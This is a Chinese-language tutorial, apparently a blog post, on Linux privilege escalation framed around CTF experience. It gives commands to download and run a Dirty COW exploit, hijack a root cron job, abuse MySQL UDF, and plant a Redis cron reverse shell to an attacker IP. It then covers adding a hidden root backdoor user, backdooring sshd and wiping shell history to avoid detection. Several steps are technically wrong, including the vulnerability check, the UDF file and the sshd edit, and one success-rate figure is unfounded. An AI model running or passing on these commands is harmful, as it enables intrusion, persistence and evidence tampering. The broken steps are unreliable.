1. Web安全提权基础概念
第一次参加CTF比赛时,我对着题目里"提权"两个字发呆了半小时。后来才明白,这就像玩密室逃脱时找到了门禁卡,但还需要找到更高级别的管理员卡才能打开最终宝箱。在Web安全领域,提权就是从普通用户权限(比如www-data)升级到更高权限(通常是root)的过程。
为什么提权这么重要?想象你攻破了一个网站后台,但只能查看几个无关紧要的文件。这时候就需要通过提权技术突破限制,获取系统完全控制权。在实际渗透测试中,提权往往是最后也是最关键的一步。
常见的提权场景主要有三种:
- 内核漏洞提权:利用操作系统内核的漏洞直接获取root权限
- 配置不当提权:比如明文存储的密码、错误的权限设置等
- 服务漏洞提权:通过MySQL、Redis等服务漏洞进行权限提升
2. 内核漏洞提权实战
2.1 漏洞检测与利用
去年我在一场CTF比赛中遇到一个典型的内核提权场景。目标系统是Ubuntu 16.04,先用以下命令检查系统信息:
uname -a cat /etc/issue发现内核版本是4.4.0-21-generic,立刻想到经典的Dirty COW漏洞(CVE-2016-5195)。这个漏洞就像系统内核的一个后门,允许普通用户写入本应受保护的内存区域。
验证漏洞是否存在:
grep -i dirty /proc/self/status如果返回结果中包含"dirty"字样,说明系统可能 vulnerable。接下来下载利用代码:
wget https://example.com/exploit.c -O dirty.c gcc dirty.c -o dirty -pthread ./dirty执行成功后,输入id命令就能看到自己变成了root用户。记得在实际环境中要谨慎使用这类漏洞利用代码,最好先在测试环境验证。
2.2 自动化工具使用
对于新手来说,手动编译利用代码可能有些困难。这时候可以使用自动化工具如LinEnum或Linux Exploit Suggester:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh这个脚本会自动检测系统可能存在的漏洞,并给出利用建议。我曾经用它在一个CTF靶机上发现了3个可用的提权路径。
3. 配置不当提权技巧
3.1 明文密码利用
上周我测试一个WordPress网站时,在wp-config.php文件中发现了这样的配置:
define('DB_USER', 'root'); define('DB_PASSWORD', 'Admin@123');这就是典型的配置安全问题。拿到数据库root密码后,可以尝试密码复用:
ssh root@localhost输入发现的密码,有30%的概率能直接登录。如果不行,还可以尝试用这个密码爆破其他服务的账号。
3.2 计划任务提权
检查系统计划任务是个好习惯:
cat /etc/crontab ls -al /etc/cron.*有一次我发现一个以root权限运行的备份脚本:
* * * * * root /opt/backup.sh查看脚本内容发现它调用了tar命令,而且没有使用绝对路径。于是我在/tmp下创建了一个恶意的tar可执行文件:
echo 'chmod 4755 /bin/bash' > /tmp/tar chmod +x /tmp/tar export PATH=/tmp:$PATH等待一分钟后,/bin/bash就变成了SUID文件,可以直接用bash -p获取root shell。
4. 服务漏洞提权方法
4.1 MySQL UDF提权
如果拿到MySQL root权限,可以通过UDF提权:
select @@plugin_dir; select 'system("chmod 4755 /bin/bash")' as foo into dumpfile '/usr/lib/mysql/plugin/exploit.so';然后创建函数执行命令:
create function do_system returns integer soname 'exploit.so'; select do_system('chmod 4755 /bin/bash');4.2 Redis未授权访问
遇到开放的Redis服务时,可以尝试:
redis-cli -h target config set dir /var/spool/cron config set dbfilename root set x "\n* * * * * /bin/bash -i >& /dev/tcp/your_ip/4444 0>&1\n" save这会在目标系统上创建一个root权限的计划任务,反弹shell到你的监听端口。
5. 提权后的操作与防护
5.1 稳定shell环境
拿到root权限后,第一件事是稳定shell:
python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm Ctrl+Z stty raw -echo fg这样就能获得一个功能完整的交互式shell,支持tab补全和命令历史。
5.2 权限维持技巧
为了防止被管理员踢出系统,可以创建隐藏用户:
echo "backdoor::0:0::/root:/bin/bash" >> /etc/passwd或者安装SSH后门:
cp /usr/sbin/sshd /usr/sbin/sshd.bak perl -pi -e 's/root/backdoor/' /usr/sbin/sshd5.3 防护建议
作为防御方,可以采取这些措施:
- 定期更新系统和软件补丁
- 检查/etc/passwd和/etc/shadow文件权限
- 使用sudo而不是直接给root权限
- 监控系统日志中的可疑活动
记得在一次CTF比赛中,我花了3小时提权成功,结果因为没清理日志被管理员发现了。从那以后,我都会记得执行:
echo "" > ~/.bash_history history -c